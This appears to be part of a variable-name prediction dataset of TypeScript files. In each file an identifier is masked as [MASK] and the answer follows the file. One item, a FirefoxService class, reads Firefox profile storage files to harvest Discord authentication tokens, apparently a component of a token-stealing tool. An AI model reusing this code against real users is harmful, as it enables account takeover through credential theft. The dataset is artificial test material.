import {ServerConfig} from ""./transport/server/ServerConfig"";
import {Server} from ""./transport/server/Server"";
import {BrokerListener} from ""./broker/BrokerListener"";
import {BrokerFragmentHandler} from ""./broker/BrokerFragmentHandler"";
import {EventListener} from ""./transport/core/listener/EventListener"";
import {Listener} from ""./transport/core/Listener"";
import {PathListener} from ""./transport/core/listener/PathListener"";
import {PipelineListener} from ""./transport/core/listener/PipelineListener"";
import {SimpleListener} from ""./transport/core/listener/SimpleListener"";
import {EntityDefault} from ""./transport/core/entity/EntityDefault"";
import {FileEntity} from ""./transport/core/entity/FileEntity"";
import {StringEntity} from ""./transport/core/entity/StringEntity"";

export class SocketD {
    /**
     * 元信息字典
     * */
    static EntityMetas = EntityMetas;

    private static clientProviderMap: Map<string, ClientProvider> = new Map<string, ClientProvider>();
    private static serverProviderMap: Map<string, ServerProvider> = new Map<string, ServerProvider>();

    static {
        const provider = new WsProvider();
        SocketD.registerClientProvider(provider);
        SocketD.registerServerProvider(provider);
    }

    static registerClientProvider(clientProvider: ClientProvider) {
        for (let s of clientProvider.schemas()) {
            SocketD.clientProviderMap.set(s, clientProvider);
        }
    }

    static registerServerProvider(serverProvider: ServerProvider) {
        for (let s of serverProvider.schemas()) {
            SocketD.serverProviderMap.set(s, serverProvider);
        }
    }

    /**
     * 框架版本号
     */
    static version(): string {
        return ""2.5.18"";
    }

    /**
     * 协议名
     */
    static protocolName(): string {
        return ""Socket.D"";
    }

    /**
     * 协议版本号
     */
    static protocolVersion(): string {
        return ""1.0"";
    }

    /**
     * 创建服务端
     */
    static createServer(schema: string): Server {
        let server = this.createServerOrNull(schema);
        if (server == null) {
            throw new Error(""No socketd server providers were found: "" + schema);
        } else {
            return server;
        }
    }

    /**
     * 创建服务端，如果没有则为 null
     */
    static createServerOrNull(schema: string): Server | null {
        Asserts.assertNull(""schema"", schema);

        let factory = SocketD.serverProviderMap.get(schema);
        if (factory == null) {
            return null;
        } else {
            return factory.createServer(new ServerConfig(schema));
        }
    }

    /**
     * 创建客户端（支持 url 自动识别）
     *
     * @param serverUrl 服务器地址
     */
    static createClient(serverUrl: string): Client {
        const client = this.createClientOrNull(serverUrl);
        if (client == null) {
            throw new Error(""No socketd client providers were found: "" + serverUrl);
        } else {
            return client;
        }
    }

    /**
     * 创建客户端（支持 url 自动识别），如果没有则为 null
     *
     * @param serverUrl 服务器地址
     */
    static createClientOrNull(serverUrl: string): Client | null {
        Asserts.assertNull(""serverUrl"", serverUrl);

        const  [MASK]  = serverUrl.indexOf(""://"");
        if ( [MASK]  < 2) {
            throw new Error(""The serverUrl invalid: "" + serverUrl);
        }

        const schema = serverUrl.substring(0,  [MASK] );

        const factory = this.clientProviderMap.get(schema);
        if (factory == null) {
            return null;
        } else {
            const clientConfig = new ClientConfig(serverUrl);
            return factory.createClient(clientConfig);
        }
    }

    /**
     * 创建集群客户端
     *
     * @param serverUrls 服务端地址
     */
    static createClusterClient(serverUrls: string[] | string): ClusterClient {
        return new ClusterClient(serverUrls);
    }

    /**
     * 创建实体
     * */
    static newEntity(data?: string | Blob | ArrayBuffer): EntityDefault {
        if (!data) {
            return new EntityDefault();
        } else if (typeof (File) != 'undefined' && data instanceof File) {
            return new FileEntity(data);
        } else if (typeof (ArrayBuffer) != 'undefined' && data instanceof ArrayBuffer) {
            return new EntityDefault().dataSet(data);
        } else if (typeof (Blob) != 'undefined' && data instanceof Blob) {
            return new EntityDefault().dataSet(data);
        } else {
            return new StringEntity(String(data));
        }
    }

    /**
     * 创建简单临听器
     * */
    static newSimpleListener(): SimpleListener {
        return new SimpleListener();
    }

    /**
     * 创建事件监听器
     * */
    static newEventListener(routeSelector?: RouteSelector<IoBiConsumer<Session, Message>>): EventListener {
        return new EventListener(routeSelector);
    }


    /**
     * 创建路径监听器（一般用于服务端）
     * */
    static newPathListener(routeSelector?: RouteSelector<Listener>): PathListener {
        return new PathListener(routeSelector);
    }

    /**
     * 创建管道监听器
     * */
    static newPipelineListener(): PipelineListener {
        return new PipelineListener();
    }

    /**
     * 创建经理人监听器
     * */
    static newBrokerListener(): BrokerListener {
        return new BrokerListener();
    }

    /**
     * 创建经理人分布处理
     * */
    static newBrokerFragmentHandler(): BrokerFragmentHandler {
        return new BrokerFragmentHandler();
    }
}",idx
329,"import { Component, OnInit } from '@angular/core';
import { TranslateService } from '@ngx-translate/core';
import { WindowRefService } from 'app/shared/services';

@Component({
    selector: 'pp-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit {
    constructor(
        private windowRefService: WindowRefService,
        private translateService: TranslateService
    ) {
        const  [MASK]  = ['en', 'ko'];
        const defaultLang = 'en';
        const currentLang = this.windowRefService.nativeWindow.navigator.language.substring(0, 2);
        this.translateService.addLangs( [MASK] );
        this.translateService.setDefaultLang(defaultLang);
        if ( [MASK] .find((lang: string) => {
            return lang === currentLang;
        })) {
            this.translateService.use(currentLang);
        } else {
            this.translateService.use(defaultLang);
        }
    }
    ngOnInit() {}
}
",supportLanguages
330,"import * as core from '@actions/core';
import { GitHub } from '@actions/github/lib/utils';

export const getTeamSlugsForAuthor = async (
  octokit: InstanceType<typeof GitHub>,
  org: string,
  username: string,
  ignoreSlugs: string[] = [],
): Promise<string[]> => {
  const { data: allTeams } = await octokit.rest.teams.list({
    org,
  });

  const  [MASK] : string[] = [];

  for await (const { slug } of allTeams) {
    if (ignoreSlugs.includes(slug)) {
      continue;
    }

    try {
      const { data: membership } = await octokit.rest.teams.getMembershipForUserInOrg({
        org,
        team_slug: slug,
        username,
      });

      if (membership.state === 'active') {
         [MASK] .push(slug);
      }
    } catch (error) {
      // Octokit query fails when username is not member of a team, see https://octokit.github.io/rest.js/v18
      core.info(`${username} not a member of ${slug}`);
    }
  }

  return  [MASK] ;
};
",authorsTeamSlugs
331,"//作者：hhh5460
//时间：2017年6月26日
// 棋盘
class Board {
    private board: string[];
    private history: any[][];
    public constructor() {
        //self._board = '-'*9 // 坑！！
        this.board = new Array(9);
        for (let i = 0; i < 9; i++) {
            this.board[i] = '-';
        }
        this.history = [];  // 棋谱
    };
    // 按指定动作，放入棋子
    public move = (action: number, take: string): void => {
        if (this.board[action] == '-') {
            this.board[action] = take;
            this.history.push([action, take])  // 加入棋谱
        }
    };
    // 撤销动作，拿走棋子
    public unmove = (action: number): void => {
        this.board[action] = '-';
        this.history.pop();
    };
    // 棋盘快照
    public get_board_snapshot = (): string[] => {
        return this.board.slice();
    };
    // 取棋盘上的合法走法
    public get_legal_actions = (): number[] => {
        let actions: number[] = [];
        for (let i = 0; i < 9; i++) {
            if (this.board[i] == '-') {
                actions.push(i);
            }
        }
        return actions;
    };
    // 判断走法是否合法
    public is_legal_action = (action: number): boolean => {
        return this.board[action] == '-';
    };
    // 终止检测
    public teminate = (): boolean => {
        //let _board: string[] = this.board;

        let lines = [
            this.board.slice(0, 3),
            this.board.slice(3, 6),
            this.board.slice(6, 9),
            [this.board[0], this.board[3], this.board[6]],
            [this.board[1], this.board[4], this.board[7]],
            [this.board[2], this.board[5], this.board[8]],
            [this.board[0], this.board[4], this.board[8]],
            [this.board[2], this.board[4], this.board[6]]];

        if (lines.toString().indexOf(['X', 'X', 'X'].toString()) != -1 || lines.toString().indexOf(['O', 'O', 'O'].toString()) != -1 || '-' in this.board) {
            return true;
        }
        else {
            return false;
        }
    };
    // 胜负检查
    public get_winner = (): number => {
        let lines = [
            this.board.slice(0, 3),
            this.board.slice(3, 6),
            this.board.slice(6, 9),
            [this.board[0], this.board[3], this.board[6]],
            [this.board[1], this.board[4], this.board[7]],
            [this.board[2], this.board[5], this.board[8]],
            [this.board[0], this.board[4], this.board[8]],
            [this.board[2], this.board[4], this.board[6]]];
        if (lines.toString().indexOf(['X', 'X', 'X'].toString()) != -1) {
            return 0;
        }
        else if (lines.toString().indexOf(['O', 'O', 'O'].toString()) != -1) {
            return 1;
        }
        else {
            return 2;
        }
    };
    // 打印棋盘
    public print_b = (): void => {
        for (let i = 0; i < this.board.length; i++) {
            console.log(this.board[i]);
            if ((i + 1) % 3 == 0) {
                print();
            }
        }
    };
    // 打印棋谱
    public print_history = (): void => {
        console.log(this.history);
    };
}

// 玩家
class Player {
    /*
    玩家只做两件事：思考、落子
    1. 思考 --> 得到走法
    2. 落子 --> 执行走法，改变棋盘
    */
    public take: string;
    public constructor(take = 'X') {  // 默认执的棋子为 take = 'X'
        this.take = take;
    };
    public think = (board: Board): number => {
        return 0;
    };

    public move = (board: Board, action: number) => {
        board.move(action, this.take);
    };
}

// 人类玩家
class HumanPlayer extends Player {
    public constructor(take) {
        super(take);
    };

    public think = (board: Board): number => {
        
        while (true) {
            //let action = input('Please input a num in 0-8:');
            //if (len(action) == 1 && action in '012345678' && board.is_legal_action( int(action)))
            //return int(action);
            return -1;
        }
    };
}

// 电脑玩家
class AIPlayer extends Player {
    public constructor(take: string) {
        super(take);
    };

    public think = (board: Board): number => {
        console.log('AI is thinking ...');
        let take = this.take == 'X' ? 'X' : '0';
        let player = new AIPlayer(take);  // 假想敌！！！
        let res = this.minimax(board, player);
        //print('OK')
        return res![1];
    };
    // 极大极小法搜索，α-β剪枝
    public minimax = (board: Board, player: AIPlayer, depth = 0): number[] => {
        let  [MASK] !: number, bestAction!: number;
        //参考：https://stackoverflow.com/questions/44089757/minimax-algorithm-for-tic-tac-toe-python
        if (this.take == ""O"") {
             [MASK]  = -10;
        }
        else {
             [MASK]  = 10;
        }
        if (board.teminate()) {
            if (board.get_winner() == 0) {
                return [-10 + depth, 0];
            }
            else if (board.get_winner() == 1) {
                return [10 - depth, 0];
            }
            else if (board.get_winner() == 2) {
                return [0, 0];
            }
        }
        for (let action of board.get_legal_actions()) {  // 遍历合法走法
            board.move(action, this.take);
            let val = player.minimax(board, this, depth + 1);  // 切换到 假想敌！！！
            board.unmove(action);  // 撤销走法，回溯
            if (this.take == ""O"") {
                if (val[0] >  [MASK] ) {
                     [MASK]  = val[0];
                    bestAction = action;
                }
            }
            else {
                if (val[0] <  [MASK] ) {
                     [MASK]  = val[0];
                    bestAction = action;
                }
            }
            return [ [MASK] , bestAction];
        }
    };
}


// 游戏
class Game {
    public constructor() {
        this.board = new Board();
        this.current_player = null;
    };
    private board: Board;
    private current_player: Player | null;

    // 生成玩家
    private mk_player = (p: number, take = 'X'): Player => {  // p in [0,1]
        if (p == 0) {
            return new HumanPlayer(take);
        }
        else {
            return new AIPlayer(take);
        }
    };

    // 切换玩家
    private switch_player = (player1: Player, player2: Player) => {
        if (this.current_player == null) {
            return player1;
        }
        else {
            return this.current_player == player1 ? player1 : player2;
        }
    };

    // 打印赢家
    private print_winner = (winner: number):void => {  // winner in [0,1,2]
        //print(['Winner is player1', 'Winner is player2', 'Draw'][winner])
    };
    // 运行游戏
    public run = (): void => {
        //ps = input(""Please select two player's type:\n\t0.Human\n\t1.AI\nSuch as:0 0\n"" )
        //p1, p2 = [int(p) for p in ps.split(' ')]
        let player1 = this.mk_player(0, 'X');
        let player2 = this.mk_player(1, 'O');  // 先手执X，后手执O
        let winner: number;
        console.log('\nGame start!\n');
        this.board.print_b();  // 显示棋盘
        while (true) {
            this.current_player = this.switch_player(player1, player2);  // 切换当前玩家
            let action = this.current_player.think(this.board);  // 当前玩家对棋盘进行思考后，得到招法
            this.current_player.move(this.board, action);  // 当前玩家执行招法，改变棋盘
            this.board.print_b();  // 显示当前棋盘
            if (this.board.teminate()) {  // 根据当前棋盘，判断棋局是否终止
                winner = this.board.get_winner(); // 得到赢家 0,1,2
                break;
            }
        }
        this.print_winner(winner);
        console.log('Game over!');
        this.board.print_history();
    };
}

let g = new Game();
g.run();
",bestVal
332,"/* --------------------------------------------------------------------------------
 * Copyright: Altair Engineering Inc., 2023. All rights reserved.
 * Contains trade secrets of Altair Engineering, Inc.
 * Copyright notice does not imply publication.
 * Decompilation or disassembly of this software is strictly prohibited.
 * --------------------------------------------------------------------------------*/
'use script';

import * as configuration from '../configuration';

export class Copyright {
  protected author: string;
  protected year: string;
  protected headerText: string;

  constructor() {
    this.author = configuration.getAuthor();
    this.year = new Date().getFullYear().toString();
    this.headerText = configuration.getHeaderText().toString();
  }

  public header(): string {
    let  [MASK]  = this.headerText;
    return  [MASK] ;
  }
}
",template
333,"import {execSync} from 'child_process';
import {writeFileSync} from 'fs';

import {buildClientSchema, getIntrospectionQuery, printSchema} from 'graphql';

const pyVer = execSync('python --version').toString();
const verMatch = pyVer.match(/Python ([\d.]*)/);
if (!(verMatch != null && verMatch.length >= 2 && parseFloat(verMatch[1]) >= 3.6)) {
  const errMsg =
    pyVer !== '' ? pyVer : 'nothing on stdout indicating no python or a version earlier than 3.4';
  throw new Error(`Must use Python version >= 3.6 got ${errMsg}`);
}

console.log('Downloading schema...');

// https://github.com/dagster-io/dagster/issues/2623
const result = execSync(
  `dagster-graphql --ephemeral-instance --empty-workspace -t '${getIntrospectionQuery({
    descriptions: false,
  })}'`,
  {cwd: '../../../../examples/docs_snippets/'},
).toString();

const schemaJson = JSON.parse(result).data;

// Write schema.graphql in the SDL format
const sdl = printSchema(buildClientSchema(schemaJson));

console.log('Generating schema.graphql...');

writeFileSync('./src/graphql/schema.graphql', sdl);

// Write `possibleTypes.generated.json`, used in prod for `AppCache` and in tests for creating
// a mocked schema.
const possibleTypes = {};

schemaJson.__schema.types.forEach(( [MASK] : {name: string; possibleTypes: [{name: string}]}) => {
  if ( [MASK] .possibleTypes) {
    possibleTypes[ [MASK] .name] =  [MASK] .possibleTypes.map((subtype) => subtype.name);
  }
});

console.log('Generating possibleTypes.generated.json...');

writeFileSync('./src/graphql/possibleTypes.generated.json', JSON.stringify(possibleTypes));

console.log('Generating TypeScript types...');

execSync(
  'find src -type d -name types | xargs rm -r && yarn apollo codegen:generate --includes ""./src/**/*.tsx"" --target typescript types --localSchemaFile ./src/graphql/schema.graphql --globalTypesFile ./src/types/globalTypes.ts && python append_generated.py',
  {stdio: 'inherit'},
);

console.log('Done!');
",supertype
334,"import * as THREE from 'three'
import TWEEN from '@tweenjs/tween.js'
import Timeline from '../managers/Timeline'

// You can make also your own 3d objects to clean up code in seperated files
// Here is also a TweenJS example

export default class StarDoughnut extends THREE.Object3D {
  private _doughnut: THREE.Points

  constructor() {
    super()
    this._createMesh()
    this._tweenDoughnutScale()
  }

  /**
   * We create our own doughnut mesh (points) and add it to ourself (the Object3D)
   */
  private _createMesh(): void {
    // First we need a geometry
    const doughnutGeometry = new THREE.TorusGeometry(3, 1, 16, 100)

    // Then we need a material with our stars
    const  [MASK]  = new THREE.PointsMaterial({
      color: 0xddddff,
      size: 0.4,
      map: new THREE.TextureLoader().load('./images/star.png'),
      transparent: true,
      alphaToCoverage: true
    })

    // Now we create our mesh (in this case points) with those two components
    this._doughnut = new THREE.Points(doughnutGeometry,  [MASK] )

    // And add this mesh to our custom object to make it visible
    this.add(this._doughnut)
  }

  /**
   * Animation example with TWEEN
   * This Method is a bit magic because of the TWEEN library setup inside index.ts and Timeline
   * It Bounces the doughnut smooth!!!
   */
  private _tweenDoughnutScale(): void {
    // This is how long a bouncing is (3 scaled seconds)
    const TWEEN_DURATION = 3

    // This method makes TWEEN JS compatible with THREE JS
    // We are setting the scale we defined inside tweens to our doughnut
    // The properties (like scale) are custom
    const onTweenUpdate = (data: { scale: number }, elapsed: number) => {
      this._doughnut.scale.set(data.scale, data.scale, data.scale)
    }

    // Create the first Tween
    // It Starts with the custom prop scale 1
    const tween1 = new TWEEN.Tween({ scale: 1 })
      // and ends with the custom prop scale 0.4 in TWEEN_DURATION seconds (3 scaled seconds)
      .to({ scale: 0.4 }, TWEEN_DURATION)
      // we make this tween compatible to our doughnut
      .onUpdate(onTweenUpdate)
      // and set the Easing Function to TWEEN.Easing.Bounce.InOut
      // you can explore the easing functions inside TWEEN.Easing and watch what happens
      .easing(TWEEN.Easing.Bounce.InOut)

    // Create the second Tween
    // It Starts with the custom prop scale 0.4
    const tween2 = new TWEEN.Tween({ scale: 0.4 })
      // and ends with the custom prop scale 1 in TWEEN_DURATION seconds (3 scaled seconds)
      .to({ scale: 1 }, TWEEN_DURATION)
      // we make this tween compatible to our doughnut
      .onUpdate(onTweenUpdate)
      // and set the Easing Function to TWEEN.Easing.Bounce.InOut
      // you can explore the easing functions inside TWEEN.Easing and watch what happens
      .easing(TWEEN.Easing.Bounce.InOut)

    // After tween1 play immediately tween2
    tween1.chain(tween2)
    // After tween2 play immediately tween1
    tween2.chain(tween1)
    // You see now that this is a loop ;)

    // Start tween1 to start the loop
    // ""Timeline.time"" MUST BE THE ARGUMENT OF EVERY TWEEN ""start"" METHOD. OTHERWISE IT WILL BE NOT COMPATIBLE WITH THE SCALED TIME AND ANIMATES WIERD. THIS HAS TAKEN SO LONG TO FIGURE IT OUT.
    tween1.start(Timeline.time)
  }

  /**
   * Animation example without TWEEN (normal THREE JS animation)
   * This method must be called inside the animation loop to rotate the doughnut
   * It rotates the doughnut linear
   */
  public update(): void {
    // Rotate me linear 90deg per seconds
    // (((Math.PI == 180deg) * 0.5 == 90deg) * delta) == 9deg if delta is 0.1
    this._doughnut.rotateY(Math.PI * 0.5 * Timeline.delta)
  }
}
",starMaterial
335,"import * as Bluebird from 'bluebird';
import * as fs from 'promise-fs';
import * as path from 'path';
import * as os from 'os';

import { List } from '@assasans/storage';

import { Token } from '../token';
import { Service } from './service';

export class FirefoxService extends Service {
	public constructor(name: string, directory: string) {
		super(name, directory);
	}

	public async getTokens(): Promise<List<Token>> {
		const tokens: List<Token> = new List<Token>();

		const profilesDirectory = path.join(
			os.homedir(),
			'AppData',
			this.directory,
			'Profiles'
		);
		if(!await this.exists(profilesDirectory)) return tokens;

		const  [MASK] : string[] = (await fs.readdir(profilesDirectory, { encoding: 'utf8' }))
			.map((relative: string) => path.join(profilesDirectory, relative));

		await Bluebird.all( [MASK] .map(async (profileDirectory: string) => {
			try {
				if(!(await fs.stat(profileDirectory)).isDirectory()) return;
			} catch(error) {
				console.error(error);
				return;
			}

			try {
				const storagePath: string = path.join(profileDirectory, 'webappsstore.sqlite');
				if(!await this.exists(storagePath)) return;
				
				const content: string = await fs.readFile(storagePath, { encoding: 'utf8' });
				tokens.addRange(this.extractTokens(content));
			} catch(error) {
				console.error(error);
			}

			try {
				const archivePath: string = path.join(profileDirectory, 'storage/ls-archive.sqlite');
				if(!await this.exists(archivePath)) return;
				
				const content: string = await fs.readFile(archivePath, { encoding: 'utf8' });
				tokens.addRange(this.extractTokens(content));
			} catch(error) {
				console.error(error);
			}

			try {
				const storageDirectoryRoot: string = path.join(profileDirectory, 'storage/default');
				if(!await this.exists(storageDirectoryRoot)) return;

				const storageDirectories: string[] = (await fs.readdir(storageDirectoryRoot, { encoding: 'utf8' }))
					.filter((name: string) => /discord(?:app)?\.com/.test(name))
					.map((relative: string) => path.join(profileDirectory, relative));

				await Bluebird.all(storageDirectories.map(async (storageDirectory: string) => {
					try {
						if(!(await fs.stat(storageDirectory)).isDirectory()) return;
					} catch(error) {
						console.error(error);
						return;
					}

					try {
						const storagePath: string = path.join(storageDirectory, 'ls/data.sqlite');
						if(!await this.exists(storagePath)) return;

						const content: string = await fs.readFile(storagePath, { encoding: 'utf8' });
						tokens.addRange(this.extractTokens(content));
					} catch(error) {
						console.error(error);
					}
				}));
			} catch(error) {
				console.error(error);
			}
		}));

		return tokens;
	}
}
",profileDirectories
336,"
// JSON Canonicalization Scheme  (JCS)  (RFC 8785)
// https://tools.ietf.org/html/rfc8785
 class JCS{
    private buffer: string = '';
    constructor(object: any){
        this.serialize(object);
    }


    private serialize(object:any) {
        if (object === null || typeof object !== 'object' ||
            object.toJSON != null) {
            this.buffer += JSON.stringify(object);

        } else if (Array.isArray(object)) {
            this.buffer += '[';
            let next = false;
            object.forEach((element) => {
                if (next) {
                    this.buffer += ',';
                }
                next = true;
                this.serialize(element);
            });
            this.buffer += ']';

        } else {
            this.buffer += '{';
            let next = false;
            Object.keys(object).sort().forEach(( [MASK] ) => {
                if (next) {
                    this.buffer += ',';
                }
                next = true;
                this.buffer += JSON.stringify( [MASK] );
                this.buffer += ':';
                this.serialize(object[ [MASK] ]);
            });
            this.buffer += '}';
        }
    }

    public cannonicalize(): string{
        return this.buffer;
    }


    public static cannonicalize(object: any): string{
        return new JCS(object).cannonicalize();
    }


    // other schemes related to JCS if added to rfc8785 will be added here

}


export default JCS;",property
337,"import {Component, OnDestroy, OnInit} from '@angular/core';
import {DLSFService} from ""../dlsf/dslf.service"";
import {BehaviorSubject, Subscription} from ""rxjs"";
import {TopologyMapModel} from ""../simulation/topology-map.model"";
import {StatsUpdateModel} from ""../simulation/stats-update.model"";
import {SimulationRunModel} from ""../dlsf/simulation-run.model"";
import {Router} from ""@angular/router"";

@Component({
  selector: 'app-active-run',
  templateUrl: './active-run.component.html',
  styleUrls: ['./active-run.component.scss']
})
export class ActiveRunComponent implements OnInit, OnDestroy {
  networkTopology$ = new BehaviorSubject<TopologyMapModel>({});
  statsUpdate: StatsUpdateModel;
  activeRun: SimulationRunModel;
  statsDisplayedColums = ['txPerSecond', 'blockPerSecond', 'confirmedBlockCount', 'verifiedBlockCount', 'verifiedTransactionCount', 'confirmedTransactionCount'];
  noActiveSimulationError = false;
  private parentSubscription = new Subscription();


  constructor(private dlsfService: DLSFService, private router: Router) {
  }

  ngOnInit() {
    this.noActiveSimulationError = false;
    const getActiveRunSub: Subscription = this.dlsfService.getActiveSimulationRun().subscribe(activeRun => {
      this.activeRun = activeRun;
      const  [MASK] : Subscription = this.dlsfService.getActiveSimulationRunUpdates<any>().subscribe(update => {
        // const str = JSON.stringify(update, undefined, 2);
        switch (update.type) {
          case 'network-topology':
            this.networkTopology$.next(update.value);
            break;
          case 'stats':
            this.statsUpdate = update.value;
            break;
          default:
            console.log('unknown update');
            console.log(update);
        }
      }, err => {

      }, () => {
        this.showDetails();
      });
      this.parentSubscription.add( [MASK] );
    }, err => {
      this.noActiveSimulationError = true;
    });
    this.parentSubscription.add(getActiveRunSub);
  }

  stop() {
    this.dlsfService.stopActiveSimulationRun().subscribe();
  }

  ngOnDestroy(): void {
    this.parentSubscription.unsubscribe();
  }

  showDetails() {
    if (this.activeRun.simulationName === 'bitcoin-explorer') {
      this.router.navigate(['runs/bitcoin-explorer', this.activeRun.runId]);
      return;
    }
    // bitcoin-tx
    if (this.activeRun.simulationName === 'bitcoin-tx-erlay' || this.activeRun.simulationName === 'bitcoin-tx-flood') {
      this.router.navigate(['runs/bitcoin-tx', this.activeRun.runId]);
      return;
    }
    console.error(""unkown simulation name: "" + this.activeRun.simulationName);
  }
}
",getActiveRunUpdatesSub
338,"import path from 'path';
import { getResolvedValue, ResolutionResult, resolveModuleName, walkUp } from 'tsc-pnp/lib/utils';
import * as ts_module from 'typescript/lib/tsserverlibrary';

const formatResolutionFailedMessage = (
  type: string,
  pnpPath: string | undefined,
  containingFile: string,
  name: string,
  result: ResolutionResult,
) =>
  [
    `${type} resolution request failed`,
    `    PnP: ${pnpPath || 'no'}`,
    `    From: ${containingFile}`,
    `    Request: ${name}`,
    `    Result: ${JSON.stringify(result)}`,
  ].join('\n');

class ProjectHandler {
  constructor(
    private ts: typeof ts_module,
    private project: ts_module.server.Project,
    private serverHost: ts_module.server.ServerHost,
  ) {
    this.patch();
    this.watch();

    this.log(`reloading config to resolve extended references`);
    this.reloadOptions();
  }

  private log(message: string) {
    this.project.log(`[typescript-pnp-plugin] ${this.project.projectName}: ${message}`);
  }

  private watch() {
    const pnpProjects = new Map<string, boolean>();
    const inferPnpProject = () => {
      for (const [directory, exists] of pnpProjects) {
        if (exists) {
          this.setPnpProject(directory);
          return;
        }
      }

      this.setPnpProject(undefined);
    };

    const cwd = this.project.getCurrentDirectory();
    for (const directory of walkUp(cwd)) {
      const pnpPath = path.join(directory, '.pnp.js');

      pnpProjects.set(pnpPath, this.serverHost.fileExists(pnpPath));
      this.serverHost.watchFile(pnpPath, (_, eventKind) => {
        pnpProjects.set(pnpPath, eventKind !== this.ts.FileWatcherEventKind.Deleted);
        inferPnpProject();
        this.log('refreshing project files');
        this.refreshFiles();
      });
    }

    inferPnpProject();
  }

  private patch() {
    const resolveAndLog = <T extends ResolutionResult>(
      type: string,
      name: string,
      containingFile: string,
      parentResolver: (
        request: string,
        issuer: string,
        options: ts_module.CompilerOptions,
        host: ts_module.ModuleResolutionHost,
      ) => T,
    ): T => {
      const options = this.project.getCompilerOptions();
      const result = resolveModuleName(
        this.pnpPath,
        name,
        containingFile,
        this.project,
        (request, issuer) => parentResolver(request, issuer, options, this.project),
      );

      if (!getResolvedValue(result)) {
        this.log(formatResolutionFailedMessage(type, this.pnpPath, containingFile, name, result));
      }

      return result;
    };

    this.project.resolveModuleNames = (moduleNames, containingFile, _reusedNames) =>
      moduleNames.map(
        name =>
          resolveAndLog('resolveModuleNames', name, containingFile, this.ts.resolveModuleName)
            .resolvedModule,
      );

    this.project.resolveTypeReferenceDirectives = (typeDirectiveNames, containingFile) =>
      typeDirectiveNames.map(
        name =>
          resolveAndLog(
            'resolveTypeReferenceDirectives',
            name,
            containingFile,
            this.ts.resolveTypeReferenceDirective,
          ).resolvedTypeReferenceDirective,
      );
  }

  public pnpPath?: string;
  private setPnpProject(pnpPath?: string) {
    if (pnpPath) {
      delete require.cache[require.resolve(pnpPath)];
      this.log(`updated PnP API${this.pnpPath !== pnpPath ? ` to '${pnpPath}'` : ''}`);
    } else {
      this.log(`removed PnP API`);
    }

    this.pnpPath = pnpPath;
  }

  private refreshFiles() {
    (this.project as any).onChangedAutomaticTypeDirectiveNames();
    (this.project.projectService as any).delayUpdateProjectGraphs([this.project]);
    (this.project.projectService as any).filenameToScriptInfo.forEach(( [MASK] : any) => {
       [MASK] .delayReloadNonMixedContentFile();
    });
  }

  private reloadOptions() {
    (this.project.projectService as any).onConfigChangedForConfiguredProject(
      this.project,
      this.ts.FileWatcherEventKind.Changed,
    );
  }
}

class Plugin {
  private projects = new Map<ts_module.server.Project, ProjectHandler>();
  private ts!: typeof ts_module;
  public setTypeScript(typescript: typeof ts_module) {
    this.ts = typescript;
  }

  public useProject({ project, serverHost }: ts_module.server.PluginCreateInfo) {
    if (this.projects.size === 0) {
      this.patchConfigFileResolver();
    }

    if (!this.projects.has(project)) {
      this.projects.set(project, new ProjectHandler(this.ts, project, serverHost));
    }
  }

  private log(message: string) {
    for (const project of this.projects.keys()) {
      project.log(`[typescript-pnp-plugin] ${message}`);
      break;
    }
  }

  private patchConfigFileResolver() {
    const nodeModuleNameResolver = this.ts.nodeModuleNameResolver;

    // There is an internal lookupConfig argument
    this.ts.nodeModuleNameResolver = (name, containingFile, compilerOptions, host, ...args) => {
      if ((args[args.length - 1] as any) === true) {
        const projectsWithPnp = [...this.projects.values()].filter(({ pnpPath }) => pnpPath);
        if (projectsWithPnp.length > 0) {
          const { pnpPath } = projectsWithPnp[0];

          const result = resolveModuleName(pnpPath, name, containingFile, host, (request, issuer) =>
            nodeModuleNameResolver(request, issuer, compilerOptions, host, ...args),
          );

          if (!getResolvedValue(result)) {
            this.log(
              formatResolutionFailedMessage('config file', pnpPath, containingFile, name, result),
            );
          }

          return result;
        }
      }

      return nodeModuleNameResolver(name, containingFile, compilerOptions, host, ...args);
    };
  }
}

const plugin = new Plugin();
const init: ts_module.server.PluginModuleFactory = ({ typescript }) => {
  plugin.setTypeScript(typescript);
  return {
    create(createInfo) {
      plugin.useProject(createInfo);
      return createInfo.languageService;
    },
  };
};

export = init;
",info
339,"import { expect } from 'chai';
import type { Decoder } from '@solana/codecs';
import { fixDecoderSize, getBytesDecoder, getStructDecoder, getU32Decoder } from '@solana/codecs';
import { splDiscriminate } from '@solana/spl-type-length-value';
import { PublicKey, type TransactionInstruction } from '@solana/web3.js';

import {
    createInitializeGroupInstruction,
    createInitializeMemberInstruction,
    createUpdateGroupMaxSizeInstruction,
    createUpdateGroupAuthorityInstruction,
} from '../src';

function checkPackUnpack<T extends object>(
    instruction: TransactionInstruction,
    discriminator: Uint8Array,
    decoder: Decoder<T>,
     [MASK] : T
) {
    expect(instruction.data.subarray(0, 8)).to.deep.equal(discriminator);
    const unpacked = decoder.decode(instruction.data.subarray(8));
    expect(unpacked).to.deep.equal( [MASK] );
}

describe('Token Group Instructions', () => {
    const programId = new PublicKey('22222222222222222222222222222222222222222222');
    const group = new PublicKey('33333333333333333333333333333333333333333333');
    const updateAuthority = new PublicKey('44444444444444444444444444444444444444444444');
    const mint = new PublicKey('55555555555555555555555555555555555555555555');
    const mintAuthority = new PublicKey('66666666666666666666666666666666666666666666');
    const maxSize = 100;

    it('Can create InitializeGroup Instruction', () => {
        checkPackUnpack(
            createInitializeGroupInstruction({
                programId,
                group,
                mint,
                mintAuthority,
                updateAuthority,
                maxSize,
            }),
            splDiscriminate('spl_token_group_interface:initialize_token_group'),
            getStructDecoder([
                ['updateAuthority', fixDecoderSize(getBytesDecoder(), 32)],
                ['maxSize', getU32Decoder()],
            ]),
            { updateAuthority: Uint8Array.from(updateAuthority.toBuffer()), maxSize }
        );
    });

    it('Can create UpdateGroupMaxSize Instruction', () => {
        checkPackUnpack(
            createUpdateGroupMaxSizeInstruction({
                programId,
                group,
                updateAuthority,
                maxSize,
            }),
            splDiscriminate('spl_token_group_interface:update_group_max_size'),
            getStructDecoder([['maxSize', getU32Decoder()]]),
            { maxSize }
        );
    });

    it('Can create UpdateGroupAuthority Instruction', () => {
        checkPackUnpack(
            createUpdateGroupAuthorityInstruction({
                programId,
                group,
                currentAuthority: updateAuthority,
                newAuthority: PublicKey.default,
            }),
            splDiscriminate('spl_token_group_interface:update_authority'),
            getStructDecoder([['newAuthority', fixDecoderSize(getBytesDecoder(), 32)]]),
            { newAuthority: Uint8Array.from(PublicKey.default.toBuffer()) }
        );
    });

